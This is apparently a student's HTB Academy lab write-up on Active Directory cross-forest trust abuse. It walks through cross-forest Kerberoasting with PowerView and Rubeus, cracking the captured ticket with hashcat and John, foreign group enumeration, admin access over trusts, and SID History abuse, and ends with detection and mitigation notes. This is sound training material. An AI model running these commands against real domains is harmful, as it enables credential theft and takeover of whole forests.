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🌲 Cross-Forest Trust Abuse - from Windows

🎯 HTB Academy: Active Directory Enumeration & Attacks

📍 Overview

Cross-Forest Trust Abuse exploits bidirectional forest trust relationships to expand attack scope beyond the initial compromise domain. These techniques leverage trust authentication flows to perform attacks like Kerberoasting, identify administrative privilege overlap, and abuse foreign group memberships for lateral movement across forest boundaries.

🎫 Cross-Forest Kerberoasting

Attack Methodology

  • Trust requirement: Bidirectional or inbound forest trust
  • Target identification: SPNs in trusted domains
  • Execution scope: Kerberos ticket requests across trust boundaries
  • Goal: Crack service account hashes for privileged access

Enumeration & Exploitation

SPN Discovery in Target Domain

# Enumerate accounts with SPNs in trusted domain
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName

# Example output:
samaccountname
--------------
krbtgt
mssqlsvc

Target Assessment

# Check group membership for privileged accounts
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof

# Example output:
samaccountname memberof
-------------- --------
mssqlsvc       CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL

Cross-Forest Kerberoasting Execution

# Perform Kerberoasting across forest trust
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

# Key output indicators:
# [*] Target Domain          : FREIGHTLOGISTICS.LOCAL
# [*] Total kerberoastable users : 1
# [*] Hash                   : $krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$...

👥 Admin Password Re-Use & Group Membership

Password Reuse Scenarios

  • Same company management: Both forests managed by same administrators
  • Account naming patterns: Similar admin account names across forests
  • Password policy weakness: Shared password practices across domains
  • Migration artifacts: Retained credentials during domain transitions

Foreign Group Membership Enumeration

Identify Cross-Forest Admin Access

# Enumerate foreign security principals in trusted domain
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

# Example output:
GroupDomain             : FREIGHTLOGISTICS.LOCAL
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=FREIGHTLOGISTICS,DC=LOCAL
MemberDomain            : FREIGHTLOGISTICS.LOCAL
MemberName              : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGISTICS,DC=LOCAL

SID to Name Conversion

# Convert foreign SID to readable account name
Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500

# Result: INLANEFREIGHT\administrator

Cross-Forest Authentication Validation

# Test administrative access across forest trust
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

# Verification commands:
[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS> whoami
inlanefreight\administrator

[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS> ipconfig /all
# Verify connection to target forest DC

🆔 SID History Abuse - Cross Forest

Attack Concept

  • Migration scenario: User moved between forests without proper SID filtering
  • SID retention: Original domain SIDs preserved in SID History attribute
  • Privilege preservation: Administrative rights maintained across forest boundaries
  • Trust exploitation: SID filtering bypass for unauthorized privilege escalation

Attack Prerequisites

  • User migration: Account moved from Forest A to Forest B
  • SID filtering disabled: Trust configuration allows external SIDs
  • Administrative privileges: Original account had elevated rights in source forest
  • Trust authentication: Ability to authenticate across forest boundary

Attack Flow

Forest A (INLANEFREIGHT.LOCAL) → User Migration → Forest B (CORP.LOCAL)
    ↓                                                    ↓
Administrative User                              Migrated User + SID History
    ↓                                                    ↓
Original SID Preserved                          Cross-Forest Admin Access
    ↓                                                    ↓
Retained Privileges                            Unauthorized Escalation

🎯 HTB Academy Lab Solution

Lab Environment Setup

# RDP to Windows attack host
xfreerdp /v:10.129.44.185 /u:htb-student /p:'Academy_student_AD!'

🎫 Question: "Perform a cross-forest Kerberoast attack and obtain the TGS for the mssqlsvc user. Crack the ticket and submit the account's cleartext password as your answer."

Complete Attack Solution:

Step 1: Initial Enumeration

# RDP connection established, open PowerShell as Administrator
# Navigate to tools directory
cd C:\Tools\
Import-Module .\PowerView.ps1

# Enumerate SPNs in trusted domain
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
# Expected: mssqlsvc account identified

Step 2: Target Assessment

# Verify target account privileges
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof
# Confirm: mssqlsvc is member of Domain Admins group

Step 3: Cross-Forest Kerberoasting

# Execute Kerberoasting attack across forest trust
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

# Extract TGS ticket hash from output:
# $krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$MSSQLsvc/sql01.freightlogstics:1433@FREIGHTLOGISTICS.LOCAL*$[hash_data]

Step 4: Hash Cracking

# Transfer hash to Kali/Linux system for cracking
# Save hash to file: mssqlsvc_hash.txt
# Use Hashcat with mode 13100 for Kerberos 5 TGS-REP
hashcat -m 13100 mssqlsvc_hash.txt /usr/share/wordlists/rockyou.txt

# Alternative: Use John the Ripper
john --format=krb5tgs mssqlsvc_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

🎯 Answer: [Cleartext password obtained from hash cracking]

⚠️ Security Implications

Trust Configuration Weaknesses

  • Bidirectional trusts: Increase attack surface across forest boundaries
  • SID filtering disabled: Allows unauthorized privilege escalation
  • Foreign group membership: Cross-forest administrative access
  • Password reuse: Shared credentials across forest boundaries

Detection Considerations

  • Cross-forest authentication: Monitor unusual authentication patterns
  • Kerberos ticket requests: Detect TGS requests across trust boundaries
  • Foreign security principals: Audit cross-forest group memberships
  • SID History monitoring: Track SID History attribute modifications

Mitigation Strategies

  • Selective authentication: Restrict trust authentication scope
  • SID filtering: Enable proper SID filtering for external trusts
  • Privilege isolation: Separate administrative accounts per forest
  • Regular auditing: Review foreign group memberships and trust configurations

🔑 Key Takeaways

Cross-Forest Attack Vectors

Trust Discovery → Cross-Forest Enumeration → Attack Execution → Forest Compromise
  (PowerView)         (SPN/Group Discovery)       (Kerberoasting)     (Administrative Access)

Critical Success Factors

  • Trust understanding: Bidirectional forest trust authentication flows
  • Tool adaptation: PowerView and Rubeus cross-domain capabilities
  • Privilege mapping: Foreign group membership and administrative overlap
  • Attack validation: Cross-forest authentication and access confirmation

Professional Impact

  • Scope expansion: Single domain compromise → multiple forest control
  • Attack sophistication: Advanced trust relationship exploitation
  • Assessment completeness: Comprehensive multi-forest security evaluation
  • Client value: Identification of inter-organizational security risks

🌲 Cross-Forest Trust Abuse represents advanced AD attack methodology - transforming single domain access into comprehensive multi-forest compromise through sophisticated trust relationship exploitation!